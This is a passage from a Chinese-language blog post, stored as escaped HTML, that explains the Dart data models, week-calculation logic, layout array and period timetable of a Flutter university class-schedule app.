class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"kd\"\u003eoperator\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eObject\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e \u003cspan class=\"k\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"时间安排\"\u003e时间安排\u003c/h5\u003e\n\u003cp\u003e包括以下部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程索引,也就是上面课程信息在课程信息数组中的位置。下面我将介绍课程信息数组。\u003c/li\u003e\n\u003cli\u003e上课周次,这里我继承了学校处理这个信息的方式。学校返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课。\u003c/li\u003e\n\u003cli\u003e星期几上课,第几节上课,第几节下课。请注意这里是将一天分成十节课来处理的,课程时间参见文件。\u003c/li\u003e\n\u003cli\u003e一个可选的教室信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e另外有一个引申变量:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e上课长度就是下课减去上课。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eTimeArrangement\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程索引\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;week_list\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课周次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 星期几上课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课开始\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课结束\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eincludeIfNull:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课教室\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"总体信息\"\u003e总体信息\u003c/h5\u003e\n\u003cp\u003e不仅包括上面提到的东西,还包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e学期长度:通过所有时间安排的上课周次数组中,最长的那个。\u003c/li\u003e\n\u003cli\u003e开学日期和当前学期代码。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassTableData\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enotArranged\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTimeArrangement\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"控制器文件\"\u003e控制器文件\u003c/h4\u003e\n\u003cp\u003e控制器里包括了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程数据,默认是空的。\u003c/li\u003e\n\u003cli\u003e预先渲染好的课程表数据。\u003c/li\u003e\n\u003cli\u003e当前是全学期第几周。\u003c/li\u003e\n\u003cli\u003e当前课程信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5 id=\"日期相关计算\"\u003e日期相关计算\u003c/h5\u003e\n\u003cp\u003e首先,我的课程表要处理课次偏移信息,所以在获取学校的开学日期后,还得加减相应的周次,虽然可以不搞的()\u003c/p\u003e\n\u003cp\u003e计算利用到开学日期,一个公式就可以解决:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecurrentWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e~/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 Jiffy 是一个计算时间的库,这里我利用了他计算当前是全年第几天。\u003c/p\u003e\n\u003ch5 id=\"预先渲染好的课程表数据\"\u003e预先渲染好的课程表数据\u003c/h5\u003e\n\u003cp\u003e这里的数据将会在控制器初始化时候生成,在获取到 Repo ,或称 Model ,提供的课程信息后进行合成。\u003c/p\u003e\n\u003cp\u003e我这里直接使用了四维度数组,你们可以认为是稀疏矩阵。虽然这不是最优解,但是他还算容易访问;虽然复杂度很高,但是由于数据量很小,对性能影响不大。\u003c/p\u003e\n\u003cp\u003e四维度数组是这样的表示:\u003c/p\u003e\n\u003cp\u003e周次-星期-第几节课-这节课重叠了几节课\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// A list as an index of the classtable items.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e合成方法是:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e生成数组:周次 * 一周七天 * 一天十节课 * 一节课有几门安排。我们计算一下: \u003cbr\u003e\n假设一个学期二十周,没有课程重叠,这就是 20 x 7 x 10 x 1 = 1400 个单元。 \u003cbr\u003e\n数据量确实很小,总体上耗时也是很均衡。所以理论上这是个 O(n4) 复杂度算法,实际上可以认为这是个 O(1) 复杂度算法,这个在接下来渲染时候更加体现。\u003c/li\u003e\n\u003cli\u003e遍历每一周的每一天,进行插入课程操作。方法是对时间安排进行遍历,如果在这一天有安排,先将其安排到一个 \u003ccode\u003ethisDay\u003c/code\u003e 数组,然后对冲突处理后,插入到课程单元种\u003c/li\u003e\n\u003cli\u003e关于课程冲突,也就是一个单元内有两个安排,以课程长度长的优先。在步骤中,先对 \u003ccode\u003ethisDay\u003c/code\u003e 数组进行排序,然后进行插入。\u003c/li\u003e\n\u003cli\u003e剩下的单元,如果是空白,插入 -1 索引,表示不存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e我解释完了,希望有个人帮我优化一下吧,我算法课成绩太差了:-P\u003c/p\u003e\n\u003cp\u003e目前想法是把后面那一堆简化掉,使用一个 Map 词典解决问题,也就是说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003eMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中词典的 int 元素是一周中的第几节课,比如说,周三的第三节课就是 2*7+3 = 17,那它的索引就是 17。\u003c/p\u003e\n\u003ch5 id=\"获取当前时间课次\"\u003e获取当前时间课次\u003c/h5\u003e\n\u003cp\u003e主要是时间段计算,我有一个时间段列表。交替开始结束时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Time arrangements.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Even means start, odd means end.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;8:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:05\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;12:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:50\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:40\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;17:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;20:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e首先,介于 8:20 到 20:35 之间的时间才进行计算。\u003c/li\u003e\n\u003cli\u003e获取当前时间,然后在上面的数组中卡出时间在哪个之后。\u003c/li\u003e\n\u003cli\u003e如果那个时间属于上课时间,就是在上课,进行相关课程查找,否则,就是在课间。在课间就要考虑下一节课是啥状况,是和上一节课相同还是下一节课。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"课表渲染\"\u003e课表渲染\u003c/h4\u003e\n\u003cp\u003e课表使用了 StatefulWidget 的原因是,课表渲染需要涉及到一些 View 里面相关的变量,我需要使用 initState 函数初始化,所以就这样了。虽然可以搞个 Stateless 组件,在它的初始化函数中初始化,但是保不齐将来我需要写啥保存页面状态,我就需要有状态了。\u003c/p\u003e\n\u003cp\u003e看过我上面的课程表图,可以发现,除了 AppBar ,我的课程表分成上面的周次选择列,和下面的课程表。除此之外,点开课程显示的课程信息又是一个组件。\u003c/p\u003e\n\u003cp\u003e这个组件里面定义了很多的常量,这里我不赘述。\u003c/p\u003e\n\u003ch5 id=\"课表页面初始化\"\u003e课表页面初始化\u003c/h5\u003e\n\u003cp\u003e首先介绍三个 Controller ,其中前两个十分重要,因为涉及到页面切换:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003ePageController\u003c/span\u003e \u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 